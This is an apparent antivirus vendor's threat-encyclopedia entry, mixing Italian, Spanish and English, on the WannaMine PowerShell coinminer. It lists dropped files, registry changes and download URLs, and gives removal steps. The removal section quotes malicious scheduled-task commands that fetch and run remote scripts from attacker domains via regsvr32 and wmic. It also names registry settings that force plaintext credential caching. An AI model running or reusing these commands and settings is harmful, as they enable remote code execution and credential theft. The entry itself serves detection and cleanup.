Coinminer.PS1.WANNAMINE.C
HEUR:Trojan.PowerShell.Generic (KASPERSKY)
Windows
Tipo di minaccia informatica:
Coinminer
Distruttivo?:
No
Crittografato?:
Sì
In the wild::
Sì
Panoramica e descrizione
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Elimina archivos para impedir la ejecución correcta de programas y aplicaciones.
Se aprovecha de las vulnerabilidades de software para propagarse por las redes.
Recopila determinada información del equipo afectado.
Dettagli tecnici
Detalles de entrada
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Instalación
Infiltra los archivos siguientes:
- %ProgramData%\Microsoft\Network\Downloader\services.exe (Renamed %User Temp%\nssm)
- %ProgramData%\Microsoft\Network\Connections\OSFMount.sys (Renamed %User Temp%\sys)
- %ProgramData%\Microsoft\Windows\Caches\SecureAssessmentHandlerstor.dll (Renamed %User Temp%\access)
(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).
)Agrega los procesos siguientes:
- netstat -anop tcp
- %User Temp%\mon.exe -pSwifck
- %User Temp%\min.exe -pSwifck
- %User Temp%\uas.exe -pSwifcks
- %User Temp%\cohernece.exe
- %ProgramData%\Microsoft\Network\Downloader\services install "Event Logs" %ProgramData%\Microsoft\Network\services.exe | Out-Null
- %ProgramData%\Microsoft\Network\Downloader\services install "Event Service" %ProgramData%\Microsoft\Network\Connections\services.exe | Out-Null
- powercfg /CHANGE -standby-timeout-ac 0
- powercfg /CHANGE -hibernate-timeout-ac 0
- powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).
)Técnica de inicio automático
Inicia los servicios siguientes:
- Event Logs
- Event Service
Otras modificaciones del sistema
Elimina los archivos siguientes:
- %User Temp%\mon.exe
- %User Temp%\min.exe
- %User Temp%\uas.exe
- Files in %System%\Tasks\Microsoft\Windows\.NET Framework
- Files in %System%\Tasks\Microsoft\Windows\PLA\System
- %Temp%\y1.bat
(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).
. %System% es la carpeta del sistema de Windows, que en el caso de Windows 98 y ME suele estar en C:\Windows\System, en el caso de Windows NT y 2000 en C:\WINNT\System32 y en el caso de Windows 2000(32-bit), XP, Server 2003(32-bit), Vista, 7, 8, 8.1, 2008(64-bit), 2012(64bit) y 10(64-bit) en C:\Windows\System32).. %Temp% es la carpeta de archivos temporales de Windows, que suele estar en C:\Windows\Temp o C:\WINNT\Temp).)Agrega las siguientes entradas de registro:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Windows
RequireSignedAppInit_DLLs = 0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Windows
LoadAppInit_DLLs = 1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Windows
AppInit_DLLs = %ProgramData%\Microsoft\Windows\Caches\SecureAssessmentHandlerstor.dll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\SecurityProviders\WDigest
UseLogonCredential = 1
Propagación
Se aprovecha de las vulnerabilidades de software siguientes para propagarse por las redes:
Rutina de descarga
Accede a los siguientes sitios Web para descargar archivos:
- http://{Chosen URL}/ver.txt
- http://{Chosen URL}/nssm.txt
- http://{Chosen URL}/sys.txt
- http://{Chosen URL}/mon.txt
- http://{Chosen URL}/min.txt
- http://{Chosen URL}/access.txt
- http://{Chosen URL}/uas.txt
- http://{Chosen URL}/cohernece.txt
Guarda los archivos que descarga con los nombres siguientes:
- %User Temp%\nssm → Trojan.Win64.MALXMR.R
- %User Temp%\sys
- %User Temp%\mon.exe → Detected as Coinminer.Win64.MALXMR.SMA
- %User Temp%\min.exe
- %User Temp%\access → Detected as HackTool.Win64.Mimikatz.ENU
- %User Temp%\uas.exe → Trojan.Win32.SABSIK.BM
- %User Temp%\cohernece.exe → Detected as TROJ_REDOS.SM2
Robo de información
Recopila la siguiente información del equipo afectado:
- Domain credentials
Soluzioni
Step 1
Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Remove malware/grayware files that dropped/downloaded Coinminer.PS1.WANNAMINE.C. (Note: Please skip this step if the threats listed below have already been removed.)
- Trojan.Win64.MALXMR.R
- Coinminer.Win64.MALXMR.SMA
- HackTool.Win64.Mimikatz.ENU
- Trojan.Win32.SABSIK.BM
- TROJ_REDOS.SM2
Step 4
Reiniciar en modo seguro
Step 5
Deleting Scheduled Tasks
The following {Task Name} - {Task to be run} listed should be used in the steps identified below:
- \Microsoft\Windows\RAC\RacTaskMgr - wmic os get 'http://{Chosen URL}/net/net.xsl'
- \Microsoft\Windows\MUI\LMRemove - regsvr32 /u /s /i:http://cat.dashabi.in/networks.xsl scrobj.dll
- \Microsoft\Windows\Multimedia\SystemEventService - regsvr32 /u /s /i:http://cat.xiaojiji.nl/networks.xsl scrobj.dll
- \Microsoft\Windows\PLA\System\{Random characters} - regsvr32 /u /s /i:http://cat.xiaoshabi.nl/networks.xsl scrobj.dll'
For Windows 2000, Windows XP, and Windows Server 2003:
- Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
System Tools>Scheduled Tasks. - Locate each {Task Name} values listed above in the Name column.
- Right-click on the said file(s) with the aforementioned value.
- Click on Properties. In the Run field, check for the listed {Task to be run}.
- If the strings match the list above, delete the task.
For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:
- Open the Windows Task Scheduler. To do this:
• On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
• On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter. - In the left panel, click Task Scheduler Library.
- In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
- In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
- If the said string is found, delete the task.
Step 6
Eliminar este valor del Registro
Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
- RequireSignedAppInit_DLLs=0
- RequireSignedAppInit_DLLs=0
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
- LoadAppInit_DLLs=1
- LoadAppInit_DLLs=1
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
- AppInit_DLLs=%ProgramData%\Microsoft\Windows\Caches\SecureAssessmentHandlerstor.dll
- AppInit_DLLs=%ProgramData%\Microsoft\Windows\Caches\SecureAssessmentHandlerstor.dll
- In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
- UseLogonCredential=1
- UseLogonCredential=1
Step 7
Buscar y eliminar este archivo
- %User Temp%\sys
- %User Temp%\min.exe
Step 8
Reinicie en modo normal y explore el equipo con su producto de Trend Micro para buscar los archivos identificados como Coinminer.PS1.WANNAMINE.C En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.
Sondaggio